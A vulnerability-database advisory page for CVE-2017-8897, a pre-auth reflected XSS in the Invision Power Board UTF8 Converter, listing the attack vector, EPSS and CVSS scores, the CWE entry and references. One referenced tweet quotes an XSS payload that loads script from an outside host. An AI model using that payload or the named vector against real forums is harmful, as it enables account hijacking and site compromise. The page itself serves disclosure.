Vulnerability Details : CVE-2017-8897
Potential exploit
Invision Power Services (IPS) Community Suite 4.1.19.2 and earlier has pre-auth reflected XSS in the IPS UTF8 Converter v1.1.18: admin/convertutf8/index.php?controller= is the attack vector. This UTF8 Converter vulnerability can easily be used to make a malicious announcement affecting any Invision Power Board user who views the announcement.
Vulnerability category: Cross site scripting (XSS)
Products affected by CVE-2017-8897
- cpe:2.3:a:invisioncommunity:invision_power_board:*:*:*:*:*:*:*:*
Exploit prediction scoring system (EPSS) score for CVE-2017-8897
0.29%
Probability of exploitation activity in the next 30 days
EPSS Score History
~ 49 %
Percentile, the proportion of vulnerabilities that are scored at or less
CVSS scores for CVE-2017-8897
| Base Score | Base Severity | CVSS Vector | Exploitability Score | Impact Score | Score Source | First Seen |
|---|---|---|---|---|---|---|
|
4.3
|
MEDIUM | AV:N/AC:M/Au:N/C:N/I:P/A:N |
8.6
|
2.9
|
NIST | |
|
6.1
|
MEDIUM | CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
2.8
|
2.7
|
NIST |
CWE ids for CVE-2017-8897
-
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.Assigned by: nvd@nist.gov (Primary)
References for CVE-2017-8897
-
https://twitter.com/sxcurity/status/862284967715381248
Corben Leo on Twitter: "Payload could be something like this: <script src=//sxcurity.pro/pocs/p.js></script>… "Exploit;Third Party Advisory
-
https://twitter.com/insecurity/status/862154908895780864
PROJECT INSECURITY on Twitter: "[EXPLOIT] IPB Forum (4x: Current) - Reflected/Stored XSS + CSRF + FPD + Malicious file upload + ACP->Shell writeup: https://t.co/5XEw98fIVk… https://t.co/RqpG6zDfzW"Third Party Advisory
-
http://zeroday.insecurity.zone/exploits/ipb_owned.txt
Third Party Advisory;VDB Entry
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